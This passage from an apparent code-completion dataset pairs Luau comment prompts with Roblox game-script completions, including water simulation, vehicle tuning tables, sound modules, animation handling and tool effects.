hotWater + 1\n\t\telse\n\t\t\tcoldWater = coldWater + 1\n\t\tend\n\t\tdrainSound:Stop()\n\telseif (script.Parent.HotOn.Value == true or script.Parent.ColdOn.Value == true) and script.Parent.Plugged.Value == false and water.Scale.Y <= 2.5 then -- if ON and NOT PLUGGED\n\t\tif script.Parent.HotOn.Value == true then\n\t\t\tcoldWater = coldWater - 1\t\t\t\n\t\telse\n\t\t\thotWater = hotWater - 1\n\t\tend\n\t\tdrainSound:Stop()\n\telseif (script.Parent.HotOn.Value == false and script.Parent.ColdOn.Value == false) and script.Parent.Plugged.Value == false and water.Scale.Y > 0 then -- if NOT ON and NOT PLUGGED\n\t\twater.Scale = water.Scale + Vector3.new(0,-0.01,0)\n\t\twater.Offset = Vector3.new(0,water.Scale.Y/2,0)\n\t\tcoldWater = coldWater - 1\n\t\thotWater = hotWater - 1\n\t\tdrainSound:Play()\n\tend\n\t\n\tif coldWater < 1 then\n\t\tcoldWater = 1\n\tend\n\tif hotWater < 1 then\n\t\thotWater = 1\n\tend\n\t\n\twaterTemp = hotWater/coldWater\t\n\t\n\tif waterTemp > 1 then\n\t\twater.Parent.SteamEmitter.Enabled = true\n\telse\n\t\twater.Parent.SteamEmitter.Enabled = false\n\tend\n\twait(0.1)\n\t\n\tif water.Scale.Y <= 0 then\n\t\tdrainSound:Stop()\n\tend\n\t\n\tif (script.Parent.ColdOn.Value == true or script.Parent.HotOn.Value == true) and script.Parent.ShowerMode.Value == false then\n\t\tscript.Parent.Splash.ParticleEmitter.Enabled = true\n\telse\n\t\tscript.Parent.Splash.ParticleEmitter.Enabled = false\n\tend\t\nend\n"} +{"prompt": "-- Base script for NPC enemy movement,\n-- still a work in progress", "completion": "\n"} +{"prompt": "--local v1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\n--while not v1.Loaded do\n--\tgame:GetService(\"RunService\").Heartbeat:Wait();\n--end;\n--return function(p1, p2, p3, p4)\n--\tprint(p1, p2, p3, p4)\n--\tlocal v2 = p1:FindFirstChildOfClass(\"UIGridLayout\");\n--\tlocal l__isGolden__3 = v1.Directory.Eggs[p3].isGolden;\n--\tlocal v4, v5, v6 = ipairs(p4);\n--\tcoroutine.wrap(function()\n--\t\t\tlocal v7, v8 = v4(v5, v6);\n--\t\t\tlocal v9 = v1.Directory.Pets[tonumber(v8[1])];\n--\t\t\tlocal l__rarity__10 = v9.rarity;\n--\t\t\tlocal v11 = v1.Assets.UI.EggInfo.Pet:Clone();\n--\t\t\tlocal v12 = (function()\n--\t\t\t\tlocal v13 = 0;\n--\t\t\t\tfor v14, v15 in ipairs(p4) do\n--\t\t\t\t\tv13 = v13 + v15[2];\n--\t\t\t\tend;\n--\t\t\t\treturn v8[2] / v13 * 100;\n--\t\t\tend)();\n--\t\t\tv11.Thumbnail.Image = l__isGolden__3 and v9.goldenThumbnail or v9.thumbnail;\n--\t\t\tv11.LayoutOrder = 9999 - v12;\n--\t\t\t--local v16, v17, v18 = Color3.toHSV((Color3.fromRGB(49, 255, 39):Lerp(Color3.fromRGB(255, 75, 39), (math.clamp(94.2467 * math.pow(0.9315, v12) / 100, 0, 1)))));\n--\t\t\t--v11.Thumbnail.Chance.TextColor3 = Color3.fromHSV(v16, v17, v18 * 2);\n--\t\t\tif v12 < 1 then\n--\t\t\t\tv11.Thumbnail.Chance.Text = math.round(v12 * 100) / 100 .. \"%\";\n--\t\t\telse\n--\t\t\t\tv11.Thumbnail.Chance.Text = math.round(v12) .. \"%\";\n--\t\t\tend;\n--\t\t\tv11.Thumbnail.Position = UDim2.new(0, 0, 0, 0);\n--\t\t\tv11.Thumbnail.ImageTransparency = 0;\n--\t\t\tv11.Parent = p1;\t\n--\t\t\tprint('loaded')\n--\tend)()\n--end;", "completion": "\n"} +{"prompt": "--[[\n\tDefines utilities for working with 'dictionary-like' tables.\n\n\tDictionaries can be indexed by any value, but don't have the ordering\n\texpectations that lists have.\n]]", "completion": "\n\nreturn {\n\tjoin = require(script.join),\n\tkeys = require(script.keys),\n\tvalues = require(script.values),\n}\n"} +{"prompt": "-- / Remote Events / --", "completion": "\nlocal DamageEvent = game.ReplicatedStorage:WaitForChild(\"DamageEvent\")\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nscript.Parent.Equipped:connect(function()\n\tscript.Parent.Handle.Sound:Play();\nend);\nscript.Parent.Unequipped:connect(function()\n\tscript.Parent.Handle.Sound:Play();\nend);\n"} +{"prompt": "-- Define the function to handle the player's input", "completion": "\nlocal function onInput(input, gameProcessed)\n\t-- Check if the input is a keyboard input and if the player is pressing LeftShift\n\tif input.UserInputType == Enum.UserInputType.Keyboard and input.KeyCode == Enum.KeyCode.LeftShift and input.UserInputState == Enum.UserInputState.Begin and not gameProcessed then\n\t\tdash()\n\tend\nend\n"} +{"prompt": "--//by wild\n--//also hastily written i don't care about making this one look nice", "completion": "\n\nlocal Sound = workspace.Audios\n\nlocal vol = {}\n\nvol.table = {}\n\nvol.Reset = function()\n\t\n\tfor _,v in pairs(Sound.FAAS:GetDescendants()) do\n\t\tif v:IsA(\"Sound\") then\n\t\t\tv.PlaybackSpeed = 1\n\t\t\tv:Stop()\n\t\tend\n\tend\n\t\n\tfor _,v in pairs(Sound.HumanAnnouncements:GetDescendants()) do\n\t\tif v:IsA(\"Sound\") then\n\t\t\tv.PlaybackSpeed = 1\n\t\t\tv:Stop()\n\t\tend\n\tend\n\t\n\tif game.Players.LocalPlayer.PlayerGui:WaitForChild(\"UserInterface\").GuiController.SettingsModule.PlayerMusicDisabled.Value == false then\n\t\tfor _,v in pairs(Sound.Music:GetDescendants()) do\n\t\t\tif v:IsA(\"Sound\") then\n\t\t\t\tv.PlaybackSpeed = 1\n\t\t\t\tv:Stop()\n\t\t\tend\n\t\tend\n\tend\n\t\nend\n\nvol.Mute = function()\n\n\tfor _,v in pairs(Sound.FAAS:GetDescendants()) do\n\t\tif v:IsA(\"Sound\") then\n\t\t\tv.PlaybackSpeed = 0\n\t\t\tv:Stop()\n\t\tend\n\tend\n\t\n\tfor _,v in pairs(Sound.HumanAnnouncements:GetDescendants()) do\n\t\tif v:IsA(\"Sound\") then\n\t\t\tv.PlaybackSpeed = 0\n\t\t\tv:Stop()\n\t\tend\n\tend\n\t\n\tif game.Players.LocalPlayer.PlayerGui:WaitForChild(\"UserInterface\").GuiController.SettingsModule.PlayerMusicDisabled.Value == false then\n\t\tfor _,v in pairs(Sound.Music:GetDescendants()) do\n\t\t\tif v:IsA(\"Sound\") then\n\t\t\t\tv.PlaybackSpeed = 0\n\t\t\t\tv:Stop()\n\t\t\tend\n\t\tend\n\tend\nend\n\nreturn vol\n"} +{"prompt": "--[[Weight and CG]]", "completion": "\n\tTune.Weight\t\t\t= 1873\t\t-- Total weight (in pounds)\n\tTune.WeightBSize\t= {\t\t\t-- Size of weight brick (dimmensions in studs ; larger = more stable)\n\t --[[Width]]\t\t6\t\t,\n\t --[[Height]]\t\t3.5\t\t,\n\t --[[Length]]\t\t14\t\t}\n\tTune.WeightDist\t\t= 50\t\t-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)\n\tTune.CGHeight\t\t= .8\t\t-- Center of gravity height (studs relative to median of all wheels)\n\tTune.WBVisible\t\t= false\t\t-- Makes the weight brick visible\n\t\n\t--Unsprung Weight\n\tTune.FWheelDensity\t= .1\t\t-- Front Wheel Density\n\tTune.RWheelDensity\t= .1\t\t-- Rear Wheel Density\n\tTune.FWLgcyDensity\t= 1\t\t\t-- Front Wheel Density [PGS OFF]\n\tTune.RWLgcyDensity\t= 1\t\t\t-- Rear Wheel Density [PGS OFF]\n\t\n\tTune.AxleSize\t\t= 2\t\t\t-- Size of structural members (larger = more stable/carry more weight)\n\tTune.AxleDensity\t= .1\t\t-- Density of structural members\n\t"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nreturn function(p1)\n\tif type(p1) ~= \"table\" then\n\t\treturn;\n\tend;\n\tlocal v1 = {};\n\tfor v2, v3 in pairs(p1) do\n\t\ttable.insert(v1, v3);\n\tend;\n\treturn v1;\nend;\n"} +{"prompt": "-- Theme UI to current tool", "completion": "\nToolChanged:Connect(function (Tool)\n\tcoroutine.wrap(RecolorHandle)(Tool.Color);\n\tcoroutine.wrap(Selection.RecolorOutlines)(Tool.Color);\nend);\n"} +{"prompt": "-- A simple function to extend forward paths from (d - 1) to d changes\n-- when forward and reverse paths cannot yet overlap.", "completion": "\nlocal function extendPathsF(\n\td: number,\n\taEnd: number,\n\tbEnd: number,\n\tbF: number,\n\tisCommon: IsCommon,\n\taIndexesF: Indexes,\n\tiMaxF: number\n): number\n\t-- Unroll the first iteration.\n\tlocal iF = 0\n\tlocal kF = -d -- kF = 2 * iF - d\n\t-- ROBLOX FIXME? should the values inserted into aIndexesF be 1-based so we don't have to adjust in several places here?\n\tlocal aFirst = aIndexesF[iF + 1] -- in first iteration always insert\n\tlocal aIndexPrev1 = aFirst -- prev value of [iF - 1] in next iteration\n\taIndexesF[iF + 1] += countCommonItemsF(aFirst + 1, aEnd, bF + aFirst - kF + 1, bEnd, isCommon)\n\n\t-- Optimization: skip diagonals in which paths cannot ever overlap.\n\tlocal nF = d < iMaxF and d or iMaxF\n\n\t-- The diagonals kF are odd when d is odd and even when d is even.\n\tiF += 1\n\tkF += 2\n\twhile iF <= nF do\n\t\t-- To get first point of path segment, move one change in forward direction\n\t\t-- from last point of previous path segment in an adjacent diagonal.\n\t\t-- In last possible iteration when iF === d and kF === d always delete.\n\t\t-- ROBLOX deviation: add one to index for Lua 1-based arrays\n\t\tif iF ~= d and aIndexPrev1 < aIndexesF[iF + 1] then\n\t\t\taFirst = aIndexesF[iF + 1] -- vertical to insert from b\n\t\telse\n\t\t\taFirst = aIndexPrev1 + 1 -- horizontal to delete from a\n\n\t\t\tif aEnd <= aFirst then\n\t\t\t\t-- Optimization: delete moved past right of graph.\n\t\t\t\treturn iF - 1\n\t\t\tend\n\t\tend\n\n\t\t-- To get last point of path segment, move along diagonal of common items.\n\t\t-- ROBLOX deviation: add one to index for Lua 1-based arrays\n\t\taIndexPrev1 = aIndexesF[iF + 1]\n\t\taIndexesF[iF + 1] = aFirst + countCommonItemsF(aFirst + 1, aEnd, bF + aFirst - kF + 1, bEnd, isCommon)\n\n\t\tiF += 1\n\t\tkF += 2\n\tend\n\n\treturn iMaxF\nend\n"} +{"prompt": "-- If a reason was non-blank, the following is concatenated to the kick message.", "completion": "\nlocal REASON = \"\\nReason: %REASON%\""} +{"prompt": "-- If no expire time was provided, this message is displayed.", "completion": "\nlocal MESSAGE_BAN_NO_EXPIRE = \"You are permanently banned.\""} +{"prompt": "--// Get Tool", "completion": "\nlocal GetTool = function(ToolName) \n\tfor Index, Des in pairs(game:GetService(\"ServerStorage\"):GetDescendants()) do\n\t\tif Des.Name == ToolName and Des:IsA(\"Tool\") then\n\t\t\treturn Des:Clone()\n\t\tend\n\tend\nend\n"} +{"prompt": "--local BulbSet ={}", "completion": "\nlocal children = model:GetChildren()\nfor i = 1, #children do\n\tif children[i].Name == \"Light\" then\n\t\ttable.insert(LightSet, children[i])\n\t\ttable.insert(LightStartingBrightnesses, children[i].SpotLight.Brightness)\n\tend\nend\n\nlocal function PlaySound()\n\tmodel[\"Sound\"]:Play()\nend\n\nlocal function evalNS(ns, time)\n\t-- If we are at 0 or 1, return the first or last value respectively\n\tif time == 0 then return ns.Keypoints[1].Value end\n\tif time == 1 then return ns.Keypoints[#ns.Keypoints].Value end\n\t-- Step through each sequential pair of keypoints and see if alpha\n\t-- lies between the points' time values.\n\tfor i = 1, #ns.Keypoints - 1 do\n\t\tlocal this = ns.Keypoints[i]\n\t\tlocal next = ns.Keypoints[i + 1]\n\t\tif time >= this.Time and time < next.Time then\n\t\t\t-- Calculate how far alpha lies between the points\n\t\t\tlocal alpha = (time - this.Time) / (next.Time - this.Time)\n\t\t\t-- Evaluate the real value between the points using alpha\n\t\t\treturn (next.Value - this.Value) * alpha + this.Value\n\t\tend\n\tend\nend\n\nlocal function touched(otherPart)\n\tif(otherPart.Name == \"HumanoidRootPart\" ) then\n\t\tlocal player = game.Players:FindFirstChild(otherPart.Parent.Name)\n\t\tif(player) then\n\t\t\ttrigger.CanTouch = false\n\t\t\t\n\t\t\tPlaySound()\n\t\t\twait (.4)\n\t\t\t\n\t\t\tscript.Parent.Light.ParticleEmitter.Enabled = true\n\t\t\t\n\t\t\tfor i = 0,loopCount do\n\t\t\t\tlocal t = 0.0\n\t\t\t\twhile t < 1.0 do\n\t\t\t\t\tfor i = 1, #LightSet do\n\t\t\t\t\t\t--local randomized_t = math.round(t + i * 0.1)\n\t\t\t\t\t\tlocal spotlights = LightSet[i]:GetChildren()\n\t\t\t\t\t\tLightSet[i].Transparency = 1 - evalNS(trigger:GetAttribute(\"Flicker\"), t)\n\t\t\t\t\t\tfor j = 1, #spotlights do\n\t\t\t\t\t\t\tspotlights[j].Brightness = evalNS(trigger:GetAttribute(\"Flicker\"), t) * 1 ---LightStartingBrightnesses[i]\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tt += dt\n\t\t\t\t\twait(0.01)\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tfor i = 1, #LightSet do\n\t\t\t\tLightSet[i].SpotLight.Brightness = .25 --LightStartingBrightnesses[i]\n\t\t\tend\t\t\t\t\t\t\n\t\t\t\n\t\t\twait(90)\n\t\t\ttrigger.CanTouch = true\n\t\tend\n\tend\nend\n\ntrigger.Touched:Connect(touched)\n\n\n"} +{"prompt": "--All sounds are referenced by this ID", "completion": "\nlocal SFX = {\n\tDied = 0;\n\tRunning = 1;\n\tSwimming = 2;\n\tClimbing = 3,\n\tJumping = 4;\n\tGettingUp = 5;\n\tFreeFalling = 6;\n\tFallingDown = 7;\n\tLanding = 8;\n\tSplash = 9;\n}\n\nlocal Humanoid = nil\nlocal Head = nil\n"} +{"prompt": "-- Services", "completion": "\nlocal ContextActionService = game:GetService 'ContextActionService'\nlocal UserInputService = game:GetService 'UserInputService'\n"} +{"prompt": "--[[\n\tCreate a promise that represents the immediately rejected value.\n]]", "completion": "\nfunction Promise.reject(value)\n\treturn Promise.new(function(_, reject)\n\t\treject(value)\n\tend)\nend\n"} +{"prompt": "--[[\n\tFires when the local player's MouseButton1 interacts with the\n\t`ExitButton` GUI. Sets `Interacting` BoolValue to false.\n\tReturns: None\n]]", "completion": "-- \nfunction hide()\n\tMainFrame.Visible = false\n\tInteractionButton.Visible = false\n\tInteractionBillboard.Enabled = true\n\t\n\t-- Unfreeze the player\n\thumanoid.WalkSpeed = prevWalkSpeed or humanoid.WalkSpeed\n\thumanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, true)\nend\n\nfunction show()\n\tMainFrame.Visible = true\n\tInteractionButton.Visible = false\n\tInteractionBillboard.Enabled = false\n\t\n\t-- Freeze the player\n\tprevWalkSpeed = humanoid.WalkSpeed\n\thumanoid.WalkSpeed = 0\n\thumanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, false)\nend\n\n"} +{"prompt": "-------------------------------------------------------------------\n-----------------------[MEDSYSTEM]---------------------------------\n-------------------------------------------------------------------", "completion": "\n\nEvt.Ombro.OnServerEvent:Connect(function(Player,Vitima)\n\tlocal Nombre\n\tfor SKP_001, SKP_002 in pairs(game.Players:GetChildren()) do\n\tif SKP_002:IsA('Player') and SKP_002 ~= Player and SKP_002.Name == Vitima then\n\t\tif SKP_002.Team == Player.Team then\n\t\t\tNombre = Player.Name\n\t\telse\n\t\t\tNombre = \"Someone\"\n\t\tend\n\t\tEvt.Ombro:FireClient(SKP_002,Nombre)\n\t\tend\n\tend\nend)\n\nEvt.Target.OnServerEvent:Connect(function(Player,Vitima)\n\tPlayer.Character.Saude.Variaveis.PlayerSelecionado.Value = Vitima\nend)\n\nEvt.Render.OnServerEvent:Connect(function(Player,Status,Vitima)\n\t\tif Vitima == \"N/A\" then\n\t\t\tPlayer.Character.Saude.Stances.Rendido.Value = Status\n\t\telse\n\n\t\t\tlocal VitimaTop = game.Players:FindFirstChild(Vitima)\n\t\tif VitimaTop.Character.Saude.Stances.Algemado.Value == false then\n\t\t\tVitimaTop.Character.Saude.Stances.Rendido.Value = Status\n\t\t\tVitimaTop.Character.Saude.Variaveis.HitCount.Value = 0\n\t\tend\n\tend\nend)\n\nEvt.Drag.OnServerEvent:Connect(function(player)\n\tlocal Human = player.Character.Humanoid\n\tlocal enabled = Human.Parent.Saude.Variaveis.Doer\n\tlocal MLs = Human.Parent.Saude.Variaveis.MLs\n\tlocal Caido = Human.Parent.Saude.Stances.Caido\n\tlocal Item = Human.Parent.Saude.Kit.Epinefrina\n\n\n\tlocal target = Human.Parent.Saude.Variaveis.PlayerSelecionado\n\t\n\tif Caido.Value == false and target.Value ~= \"N/A\" then\n\n\t\tlocal player2 = game.Players:FindFirstChild(target.Value)\n\t\tlocal PlHuman = player2.Character.Humanoid\n\n\t\tlocal Sangrando = PlHuman.Parent.Saude.Stances.Sangrando\n\t\tlocal MLs = PlHuman.Parent.Saude.Variaveis.MLs\n\t\tlocal Dor = PlHuman.Parent.Saude.Variaveis.Dor\n\t\tlocal Ferido = PlHuman.Parent.Saude.Stances.Ferido\n\t\tlocal PlCaido = PlHuman.Parent.Saude.Stances.Caido\n\t\tlocal Sang = PlHuman.Parent.Saude.Variaveis.Sangue\n\t\t\n\t\tif enabled.Value == false then\n\t\n\t\tif PlCaido.Value == true or PlCaido.Parent.Algemado.Value == true then \n\t\tenabled.Value = true\t\n\t\t\n\t\tcoroutine.wrap(function()\n while target.Value ~= \"N/A\" and PlCaido.Value == true and PlHuman.Health > 0 and Human.Health > 0 and Human.Parent.Saude.Stances.Caido.Value == false or target.Value ~= \"N/A\" and PlCaido.Parent.Algemado.Value == true do wait() pcall(function()\n player2.Character.Torso.Anchored ,player2.Character.Torso.CFrame = true,Human.Parent.Torso.CFrame*CFrame.new(0,0.75,1.5)*CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))\n\t\t\t\tenabled.Value = true\n end) end\n pcall(function() player2.Character.Torso.Anchored=false\n\t\tenabled.Value = false\n\t\tend)\n\t\tend)()\n\t\t\n\t\tenabled.Value = false\n\t\tend\t\n\t\tend\t\n\tend\nend)\n\nEvt.Squad.OnServerEvent:Connect(function(Player,SquadName,SquadColor)\n\tPlayer.Character.Saude.FireTeam.SquadName.Value = SquadName\n\tPlayer.Character.Saude.FireTeam.SquadColor.Value = SquadColor\nend)\n\nEvt.Afogar.OnServerEvent:Connect(function(Player)\n\tPlayer.Character.Humanoid.Health = 0\nend)\n"} +{"prompt": "-- Create the path object", "completion": "\nlocal path = PathfindingService:CreatePath()\n "} +{"prompt": "--[[\n\tGamepad Character Control - This module handles controlling your avatar using a game console-style controller\n\n\t2018 PlayerScripts Update - AllYourBlox\n--]]", "completion": "\n\nlocal UserInputService = game:GetService(\"UserInputService\")\nlocal ContextActionService = game:GetService(\"ContextActionService\")\n"} +{"prompt": "--[[\n A component that establishes a connection to a Roblox event when it is rendered.\n]]", "completion": "\nlocal Roact = require(script.Parent.Parent.Packages.Roact)\n\nlocal ExternalEventConnection = Roact.Component:extend(\"ExternalEventConnection\")\n\nfunction ExternalEventConnection:init()\n\tself.connection = nil\nend\n"} +{"prompt": "--Casts a ray. It will ignore nearly transparent objects and the tool's parent.", "completion": "\nfunction CastRay(StartPos,Direction,Length)\n\tlocal Hit,EndPos = game.Workspace:FindPartOnRay(Ray.new(StartPos,Direction * Length))\n\tif Hit then\n\t\tif (not Tool.Parent or Hit:IsDescendantOf(Tool.Parent)) or Hit.Transparency > 0.9 then\n\t\t\treturn CastRay(EndPos + (Direction * 0.01),Direction,Length - ((StartPos - EndPos).magnitude))\n\t\tend\n\tend\n\t\n\treturn EndPos\nend\n"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]--\n-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nlocal v1 = {\n\tI = 1, \n\tV = 5, \n\tX = 10, \n\tL = 50, \n\tC = 100, \n\tD = 500, \n\tM = 1000\n};\nlocal u2 = { 1, 5, 10, 50, 100, 500, 1000 };\nlocal u3 = { \"I\", \"V\", \"X\", \"L\", \"C\", \"D\", \"M\" };\nreturn function(p1)\n\tp1 = tonumber(p1);\n\tif not p1 or p1 ~= p1 then\n\t\terror(\"Unable to convert to number\");\n\tend;\n\tif p1 == math.huge then\n\t\terror(\"Unable to convert infinity\");\n\tend;\n\tp1 = math.floor(p1);\n\tif p1 <= 0 then\n\t\treturn p1;\n\tend;\n\tlocal v2 = \"\";\n\tfor v3 = #u2, 1, -1 do\n\t\tlocal v4 = u2[v3];\n\t\twhile p1 - v4 >= 0 and p1 > 0 do\n\t\t\tv2 = v2 .. u3[v3];\n\t\t\tp1 = p1 - v4;\t\t\n\t\tend;\n\t\tfor v5 = 1, v3 - 1 do\n\t\t\tlocal v6 = u2[v5];\n\t\t\tif p1 - (v4 - v6) >= 0 and p1 < v4 and p1 > 0 and v4 - v6 ~= v6 then\n\t\t\t\tv2 = v2 .. u3[v5] .. u3[v3];\n\t\t\t\tp1 = p1 - (v4 - v6);\n\t\t\t\tbreak;\n\t\t\tend;\n\t\tend;\n\tend;\n\treturn v2;\nend;\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nLift = This.Parent.Parent.Parent\nCustomLabel = require(Lift.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nLift:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,7 do\t\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].BrickColor = (l:sub(r,r) == \"1\" and BrickColor.new(\"Really red\") or BrickColor.new(\"Really black\"))\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "------------", "completion": "\nlocal y = (PlayerMouse.Y - Brightness.AbsolutePosition.Y) / Brightness.AbsoluteSize.Y\nBrightness.Picker.Position = UDim2.new(.5, 0, y, 0)\nv = 1 - y\nBrightness.ImageColor3 = Color3.fromHSV(h, s, 1)\nPreview.ImageColor3 = Color3.fromHSV(h, s, v)\nChangeColorEvent:FireServer(Preview.ImageColor3)"} +{"prompt": "-- Print that runs only if debug mode is active.", "completion": "\nlocal function PrintDebug(message: string)\n\tif FastCast.DebugLogging == true then\n\t\tprint(message)\n\tend\nend\n"} +{"prompt": "---------------------------------------Function start here.", "completion": "\nif (Tool.Enabled == false) then\nreturn false\nend--end for if!"} +{"prompt": "-- functions", "completion": "\n\nfunction stopAllAnimations()\n\tlocal oldAnim = currentAnim\n\n\t-- return to idle if finishing an emote\n\tif (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then\n\t\toldAnim = \"idle\"\n\tend\n\n\tcurrentAnim = \"\"\n\tcurrentAnimInstance = nil\n\tif (currentAnimKeyframeHandler ~= nil) then\n\t\tcurrentAnimKeyframeHandler:disconnect()\n\tend\n\n\tif (currentAnimTrack ~= nil) then\n\t\tcurrentAnimTrack:Stop()\n\t\tcurrentAnimTrack:Destroy()\n\t\tcurrentAnimTrack = nil\n\tend\n\treturn oldAnim\nend\n\nfunction setAnimationSpeed(speed)\n\tif speed ~= currentAnimSpeed then\n\t\tcurrentAnimSpeed = speed\n\t\tcurrentAnimTrack:AdjustSpeed(currentAnimSpeed)\n\tend\nend\n\nfunction keyFrameReachedFunc(frameName)\n\tif (frameName == \"End\") then\n\n\t\tlocal repeatAnim = currentAnim\n\t\t-- return to idle if finishing an emote\n\t\tif (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then\n\t\t\trepeatAnim = \"idle\"\n\t\tend\n\t\t\n\t\tlocal animSpeed = currentAnimSpeed\n\t\tplayAnimation(repeatAnim, 0.0, Humanoid)\n\t\tsetAnimationSpeed(animSpeed)\n\tend\nend\n"} +{"prompt": "--[[Drivetrain]]", "completion": "\t\n\tTune.Config\t\t\t= \"RWD\"\t\t--\"FWD\" , \"RWD\" , \"AWD\"\n\t\n\t--Differential Settings\t\n\tTune.FDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t(Max threshold of applying full lock determined by deviation from avg speed)\n\tTune.FDiffLockThres\t= 50\t\t-- 0 - 100%\t\t\t\t(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)\n\tTune.RDiffSlipThres\t= 50\t\t-- 1 - 100%\n\tTune.RDiffLockThres\t= 50\t\t-- 0 - 100%\n\tTune.CDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t[AWD Only]\n\tTune.CDiffLockThres\t= 50\t\t-- 0 - 100%\t\t\t\t[AWD Only]\n\t\n\t--Traction Control Settings\n\tTune.TCSEnabled\t\t= true\t\t-- Implements TCS\n\tTune.TCSThreshold\t= 20\t\t-- Slip speed allowed before TCS starts working (in SPS)\n\tTune.TCSGradient\t= 20\t\t-- Slip speed gradient between 0 to max reduction (in SPS)\n\tTune.TCSLimit\t\t= 10\t\t-- Minimum amount of torque at max reduction (in percent)\n\t"} +{"prompt": "--[[\n\tPackage link auto-generated by Rotriever\n]]", "completion": "\nlocal PackageIndex = script.Parent.Parent.Parent._Index\n\nlocal Package = require(PackageIndex[\"JestConsole\"][\"JestConsole\"])\n\nexport type Console = Package.Console\nexport type ConsoleOptions = Package.ConsoleOptions\nexport type BufferedConsole = Package.BufferedConsole\nexport type CustomConsole = Package.CustomConsole\nexport type ConsoleBuffer = Package.ConsoleBuffer\nexport type LogMessage = Package.LogMessage\nexport type LogType = Package.LogType\nexport type LogEntry = Package.LogEntry\nexport type InspectOptions = Package.InspectOptions\n\n\nreturn Package\n"} +{"prompt": "-- Returns all objects under instance with Transparency", "completion": "\nlocal function GetTransparentsRecursive(instance, partsTable)\n\tlocal partsTable = partsTable or {}\n\tfor _, child in pairs(instance:GetChildren()) do\n\t\tif child:IsA('BasePart') or child:IsA('Decal') then\n\t\t\ttable.insert(partsTable, child)\n\t\tend\n\t\tGetTransparentsRecursive(child, partsTable)\n\tend\n\treturn partsTable\nend\n\nlocal function SelectionBoxify(instance)\n\tlocal selectionBox = Instance.new('SelectionBox')\n\tselectionBox.Adornee = instance\n\tselectionBox.Color = BrickColor.new('Really red')\n\tselectionBox.Parent = instance\n\treturn selectionBox\nend\n\nlocal function Light(instance)\n\tlocal light = PointLight:Clone()\n\tlight.Range = light.Range + 2\n\tlight.Parent = instance\nend\n\nlocal function FadeOutObjects(objectsWithTransparency, fadeIncrement)\n\trepeat\n\t\tlocal lastObject = nil\n\t\tfor _, object in pairs(objectsWithTransparency) do\n\t\t\tobject.Transparency = object.Transparency + fadeIncrement\n\t\t\tlastObject = object\n\t\tend\n\t\twait()\n\tuntil lastObject.Transparency >= 1 or not lastObject\nend\n\nlocal function Dematerialize(character, humanoid, firstPart)\n\thumanoid.WalkSpeed = 0\n\n\tlocal parts = {}\n\tfor _, child in pairs(character:GetChildren()) do\n\t\tif child:IsA('BasePart') then\n\t\t\tchild.Anchored = true\n\t\t\ttable.insert(parts, child)\n\t\telseif child:IsA('LocalScript') or child:IsA('Script') then\n\t\t\tchild:Destroy()\n\t\tend\n\tend\n\n\tlocal selectionBoxes = {}\n\n\tlocal firstSelectionBox = SelectionBoxify(firstPart)\n\tLight(firstPart)\n\twait(0.05)\n\n\tfor _, part in pairs(parts) do\n\t\tif part ~= firstPart then\n\t\t\ttable.insert(selectionBoxes, SelectionBoxify(part))\n\t\t\tLight(part)\n\t\tend\n\tend\n\n\tlocal objectsWithTransparency = GetTransparentsRecursive(character)\n\tFadeOutObjects(objectsWithTransparency, 0.1)\n\n\twait(0.5)\n\n\thumanoid.Health = 0\n\tDebrisService:AddItem(character, 2)\n\n\tlocal fadeIncrement = 0.05\n\tDelay(0.2, function()\n\t\tFadeOutObjects({firstSelectionBox}, fadeIncrement)\n\t\tif character then\n\t\t\tcharacter:Destroy()\n\t\tend\n\tend)\n\tFadeOutObjects(selectionBoxes, fadeIncrement)\nend\n\nlocal function OnTouched(shot, otherPart)\n\tlocal character, humanoid = FindCharacterAncestor(otherPart)\n\tif character and humanoid and character ~= Character then\n\t\tApplyTags(humanoid)\n\t\tif shot then\n\t\t\tlocal hitFadeSound = shot:FindFirstChild(HitFadeSound.Name)\n\t\t\tif hitFadeSound then\n\t\t\t\thitFadeSound.Parent = humanoid.Torso\n\t\t\t\thitFadeSound:Play()\n\t\t\tend\n\t\t\t\n\t\tend\n\t\tDematerialize(character, humanoid, otherPart)\n\tend\nend\n\nlocal function OnEquipped()\n\tCharacter = Tool.Parent\n\tHumanoid = Character:WaitForChild('Humanoid')\n\tPlayer = 